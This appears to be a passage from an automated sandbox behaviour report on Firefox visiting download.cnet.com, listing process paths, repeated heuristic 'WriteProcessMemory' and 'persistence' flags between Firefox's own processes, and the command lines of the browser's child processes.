N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2440 wrote to memory of 2780 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2440 wrote to memory of 2780 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2440 wrote to memory of 2780 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2440 wrote to memory of 2780 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2440 wrote to memory of 2780 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2440 wrote to memory of 2780 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2440 wrote to memory of 2780 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2440 wrote to memory of 2780 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2440 wrote to memory of 2780 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2440 wrote to memory of 2780 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2440 wrote to memory of 2780 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 2636 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 4136 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 4136 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 4136 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 4136 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 4136 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 4136 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 4136 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2780 wrote to memory of 4136 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://download.cnet.com"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url https://download.cnet.com

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2020 -parentBuildID 20240401114208 -prefsHandle 1956 -prefMapHandle 1948 -prefsLen 27188 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5131a54f-a730-4523-988a-35d1dde65d93} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" gpu

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2464 -parentBuildID 20240401114208 -prefsHandle 2440 -prefMapHandle 2436 -prefsLen 28108 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3acec11f-3997-492a-8ece-599266116037} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" socket

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3172 -childID 1 -isForBrowser -prefsHandle 3208 -prefMapHandle 3140 -prefsLen 22746 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {97984ef5-a626-42b4-9191-8fbeda4752e6} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3632 -childID 2 -isForBrowser -prefsHandle 3624 -prefMapHandle 2748 -prefsLen 32598 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {146a8d14-be54-4d94-a15f-d8d49920da99} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4744 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4720 -prefMapHandle 4736 -prefsLen 32598 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a5f1f198-6655-4b57-85d2-631bbb4b2f6c} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" utility

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5472 -childID 3 -isForBrowser -prefsHandle 3620 -prefMapHandle 5460 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b4f7a7fb-0912-4160-b4d6-e13013db403f} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5612 -childID 4 -isForBrowser -prefsHandle 5620 -prefMapHandle 5624 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {99d80eed-96bf-48fe-b9cb-2acb47c7319e} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5908 -childID 5 -isForBrowser -prefsHandle 5816 -prefMapHandle 5788 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {80f1a953-2dd5-41fa-bd41-ead2fd9cacb0} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6080 -childID 6 -isForBrowser -prefsHandle 5408 -prefMapHandle 6244 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2dc55bdc-3b59-40f0-9af6-5099f0f8e160} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6616 -childID 7 -isForBrowser -prefsHandle 6680 -prefMapHandle 6488 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6010374a-ab27-4ddd-8265-871a8f35d88e} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6988 -childID 8 -isForBrowser -prefsHandle 6000 -prefMapHandle 5996 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e18e1bb5-05b3-4a57-af3a-e18d96c096d5} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5904 -childID 9 -isForBrowser -prefsHandle 7052 -prefMapHandle 7048 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {226b491b-be7f-47f7-b746-79a23c6b825c} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5624 -childID 10 -isForBrowser -prefsHandle 6992 -prefMapHandle 6988 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c3f76a4d-4a00-429f-b725-672e2a5a26ef} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5104 -childID 11 -isForBrowser -prefsHandle 7344 -prefMapHandle 5628 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b2577955-9a1c-42d8-bab0-12341b3c253a} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7156 -childID 12 -isForBrowser -prefsHandle 6992 -prefMapHandle 5804 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ed15399d-ef39-4b9e-ad50-47b69609a59b} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7220 -childID 13 -isForBrowser -prefsHandle 7144 -prefMapHandle 7148 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {57118d93-6336-4ac0-9104-b8f532a87881} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7588 -parentBuildID 20240401114208 -prefsHandle 7576 -prefMapHandle 7632 -prefsLen 32776 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a3770861-2cad-474f-971a-354083d2f30c} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" rdd

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7716 -parentBuildID 20240401114208 -sandboxingKind 1 -prefsHandle 7828 -prefMapHandle 7824 -prefsLen 32776 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8faac00c-eb42-4a6d-b406-e3d3af235a5b} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" utility

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7984 -childID 14 -isForBrowser -prefsHandle 7108 -prefMapHandle 7936 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d003823-6bf2-4968-840b-f1e8eaf2f266} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8140 -childID 15 -isForBrowser -prefsHandle 8148 -prefMapHandle 8152 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ff827536-d4ec-4b70-b3db-73a1d542b0e3} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8112 -childID 16 -isForBrowser -prefsHandle 8104 -prefMapHandle 8100 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b25a9e3a-3eb2-4aad-ade5-80d3f1dcfe08} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8076 -childID 17 -isForBrowser -prefsHandle 8884 -prefMapHandle 8336 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {61d30567-8b45-4866-849d-c52e752bffd4} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8296 -childID 18 -isForBrowser -prefsHandle 6900 -prefMapHandle 8124 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {812b1618-2a66-4006-81ab-327628943995} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8308 -childID 19 -isForBrowser -prefsHandle 5920 -prefMapHandle 6052 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ddf95a5f-a3cd-4d29-aef2-2ce74ee47496} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6928 -childID 20 -isForBrowser -prefsHandle 8052 -prefMapHandle 8092 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8fa92da2-fd05-488c-82bf-6355abcb9c9b} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6608 -childID 21 -isForBrowser -prefsHandle 8364 -prefMapHandle 8136 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c1d04d12-136b-496b-b151-cad140f99ce0} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8408 -childID 22 -isForBrowser -prefsHandle 8108 -prefMapHandle 6612 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c677ba7-5c80-43f3-9fab-521a5122f57b} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8964 -childID 23 -isForBrowser -prefsHandle 7468 -prefMapHandle 6004 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5f9b9b97-3528-4173-b33b-aa47321bcc2e} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9068 -childID 24 -isForBrowser -prefsHandle 9084 -prefMapHandle 9076 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7fac3c83-9d74-4a66-9078-c7b4c2b1b8d9} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9008 -childID 25 -isForBrowser -prefsHandle 8996 -prefMapHandle 7464 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a1f526cd-6c2a-436f-9edf-90049ae08905} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8488 -childID 26 -isForBrowser -prefsHandle 8988 -prefMapHandle 4548 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0c10ab80-6907-442e-8bc8-99be831ac7f3} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7428 -childID 27 -isForBrowser -prefsHandle 9720 -prefMapHandle 9596 -prefsLen 28053 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9872f403-5190-4c18-a404-510bf98b2efe} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7636 -childID 28 -isForBrowser -prefsHandle 6068 -prefMapHandle 6932 -prefsLen 28132 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {39c03775-ace7-4413-8963-1058a4600dd9} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8908 -childID 29 -isForBrowser -prefsHandle 8168 -prefMapHandle 9080 -prefsLen 34540 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e35f049a-8732-440f-bbb0-7bf85c6380a5} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4640 -childID 30 -isForBrowser -prefsHandle 5456 -prefMapHandle 3028 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {328c7b51-457b-4a04-bc2d-621879c8d1c7} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3060 -childID 31 -isForBrowser -prefsHandle 2776 -prefMapHandle 6028 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d38f8d6-0395-41ef-85a7-7d5917a97107} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8436 -childID 32 -isForBrowser -prefsHandle 5340 -prefMapHandle 9556 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {91b71747-a59c-4828-b71d-5d75bc35ae78} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

